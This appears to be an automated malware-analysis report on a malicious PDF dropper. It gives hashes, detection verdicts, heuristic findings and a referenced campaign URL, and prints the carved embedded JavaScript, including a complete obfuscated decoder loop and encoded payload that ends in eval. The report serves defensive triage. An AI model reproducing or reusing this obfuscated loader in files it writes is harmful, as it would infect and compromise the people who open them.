Malicious PDF — malware analysis report

Static analysis result for SHA-256 e6a54cdbcbb21602…

MALICIOUS

PDF

2.8 KB First seen: 2012-07-12
MD5: 33171848b13b97acd7069d31790d3ab8 SHA-1: 152e787cb2abd181a1bdd9414544bcf9f5079e15 SHA-256: e6a54cdbcbb21602e0732c39517f428212a8fe2d81bf2bb2e019a4bdde496957
218 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF contains embedded JavaScript, including calls to eval() and String.fromCharCode(), indicating obfuscated code execution. The ML classifier and ClamAV detection strongly suggest malicious intent. The embedded JavaScript is likely responsible for downloading and executing a second-stage payload, as indicated by the 'Pdf.Dropper.Agent-1829035' ClamAV signature. No specific family could be identified, but the dropper functionality is clear.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • ClamAV: Pdf.Dropper.Agent-1829035 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-1829035
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('jsjmc=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://d2F.QK/_-a Referenced by PDF JavaScript
🗂 Part of campaign: d2f.qk 21 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x197 256 bytes
SHA-256: 5fb3204312549690481edea1529c067363aeca6c4a8436870bd5b6ea0516bfb4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('jsjmc=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");
javascript_obj111612_001.js pdf-javascript-stream PDF /JS object 111612 at offset 0x266 3362 bytes
SHA-256: ce8eb23a55ace54582071b5c5868544dd0a747a8cbdbba43d21af730753b2bf0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
gnytioh="0F1-1]1f2Z1d2d1b3]1`2h1^3?3Q1X1Y2J2]1<1U3L1M1P1Q3f3h1N3.3;1E1H1I33351F2W2Y1?1B3T1@3E3G1=3A3I1819273X1013142L2T112U2V1.383b0^1*3`0i2^0e0f3R3Y0c3a0a3[0_2g3+0Q0Z3K0T0W3_0U3S3c0R2f3V0O2[0K0L242R0I3^0G2X3-000=0B2O0@2b0>3Z3d090:3M3P072_053N032S0131370,0-2`3O0*2a2c";escndni="A602ZBDFJcKb=gLj00C8hY7MM]T1D70SDG3?TD^IDPMaGJ^eBhNEeGY0Jcg2:j@7=I<9Ca-9SQdYS_ID5,1NK<5cMI=Wc_11K,.38ZCh6:h-L=V0I=7MMZK-<FH.38ZCh6:F<GJ^eCiI2BiD-7;_IHJH]7h8N7VKE^Bcg2:E@L-1<=V0I=7MMZ_Q1K,7?<9@==9`]aMgjU@fGKMg9e_7LL_fH7+[c:K,5P-.PC8b@VX282KbA`0=Dh9.3LV,.ZX8K6OQ:JTCN2*Eg2**.3OZ+,EGeR;=JXK8W:2<Z*T.OeJK96,N2/5+,<-^2;O^T:OJg]._Z9K96*>2T`JK5+h_3dNT:LT@,.]@G,CSPZJ*-R:1*.2CAGK*GEB:**2=DJe.XfIK**1:P?*2=[CV3fWC,CW,ZJ*-R=,J.3cGg2**.3@R+,@_@:J*-R=[*.3fWC,CW,ZJ*-R;=J,.+`HK9C:V2U+>K*5]R:**2<SQK,<V*:Qi1:LLXS,DCER<QEV2RR@K9.*:QX`N3E4/K**,ZP/*2:@?U,*f,ZJ**:PVg>3:YXK*5J:J**:P+KB:@?U,*f8K***K*-P:J+^2=@H4.RAb:J8^B:**2=[B@.haVK3I:V2**@.ZR+,*16K5JU@.-8C,D^[:O,ie.+aE,**+,?UKB=0,].**G,H2*K9GU2=7R@.**G,B>*K9-YK***K4`*2<aL].**G,H2*K9GU2=7R@.**G,4F*:J8U_3f4/K/B4N2+Ha.**,.TCc:NU*.3jK_2RUT:PP@e.Saf,44/R=[*.3fWC,@]KB:**V3K:,./ODZJ8ZV2**.3U9/,>5fR:,c.2**.3JB@./ODZJ8^R:**2:*dN2*F].`QLK4/h_2-Va.**,.g@/K9GU2;Q>5,**/K64*:J+^2<c4`K*^P:PVg>3:YXK*GPZJ**:ODc@.[JVK**1:JUJ,.]XA:P6^B=-6/,>?QZJ**:J**:J**:J**:J**:J**:J**:J**:QCD>3OS@K8Xf2=*N.34b8K58fc<`*,.db?K5>e_3[H/,Fe;B<:S/K*,^R=VW4.Z3@K8U2V3Cb4K8W`R=VN@.NT<R=3*.3ag4.OhVK8?a:KKJ+,?5cR<VY/,>+::NVCV2>?ER=[?O,4G>>2CW*K*+?2:**2:^*?,*?[N2**.2]fXK9Z/:J/FC,**+,<-^2=`<i.G<Q:KP*T.*UM2:**2:]ffR:,XU,**+,*SO_2c^gK**,ZM-*,.+=5R;[Qd,**/K6**K0A66K9Z/:J/FC,**+,CU-2<c[=R=8CG,IJ4K*4c].**,.SbLK5SH4.U=1:M8TT.OE+:PD/R==54K6b;:O^K4K*?R:KCIN2**@.>c*K+GAR;ObG,D/1:J4*V2eYd,**/K9.*:M5TG,IJ4K*4c].**,._]LR:*F.2**.2**.2**.2**.2**.2**.2**.3cJ,.FCi:J*+B=8*2=I]>3@XI,?U@V3Pd@.+^-2=ZSV2BBUB:,]W,EGSN3P>?,@SKB<`EA:KGWV3DOU:J+DN3KF].WD`2<>XU,G=WK8G`B=5GD.Wb?K8SZR<^X].N*+,Gb@K3+52:XhD.OjC,*1C,<5]R<<XG,/bYK8i::J+22<?Xi.N.U:KDTC,F>WB=Wc>34b@K8U`B:Xh<.eY4K,`ee.fd+,/U5c:Xh<.fd+,4U22;?b,K*+A:JJ*-[HE11K,.2XB6;BE]hJ*jQ[+[3P=W`U5QdYS_ID5,1NK@[[c:K,5P-.EeG282-AB***2E;1TZbOf*+j9L1RJ7DYY7MMZK,.A6038ZCh6:F;-XYT6P`eH2::,,..*J9/dVFH.2:Nf+Q_[+[4W=@Ef>_H^V0I=1VMI=WdVFH.2:LdJ[3VAdX0^a?282h+U,J>,J>2E;*Df***/cKWN+UV***7MMZK,.TW02hA602XAT0V`,eFJcJ7L5OeKU7:XQ2YL=BY^F7QVTa2XAT0V`,eFKe9;5[R89,.2:K0--=PeA5`-@DKG8EVJcNf+Q_[-_<CNfGD]dVFH.2:KS89,.2;FZBM:HY`KgCI1d+[.8eiR]EAScJ+1Lga89,.2:j@7=I<9@JhIU-c]i9bdYS_ID5,5cJ7GJ*5^:HY`KgCI1d-_82_1UhBI0A[ia89,.2;R9AeZi6YMgJcKc9Qcg.9;0JhIU-c]i9a[[c:K,6PPIUOW1dj@Waf-1cI`RE//S`e_1UhBI0A[jHE11K,0N";fscly=2745;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/blduxv/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/new Array(/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/);/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(gnytioh.length){blduxv.push((gojzk(gnytioh.charCodeAt(0))<<(4+2))+gojzk(gnytioh.charCodeAt(1))-(500+12));gnytioh=gnytioh.slice(2,gnytioh.length)}hqkqhzx=fvxvxlc4=gnytioh=0;hoyla='';function gojzk(athoh6){if(athoh6>92)athoh6--;return athoh6-42}function bwklgz(){if(gnytioh==0){fvxvxlc4=gojzk(escndni.charCodeAt(hqkqhzx++));gnytioh=6;}return ((fvxvxlc4>>--gnytioh)&0x01);}/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(fscly--){i=0;while(blduxv[i]<0){if(bwklgz())i=-blduxv[i];else i++;}hoyla+=String.fromCharCode(blduxv[i]);}

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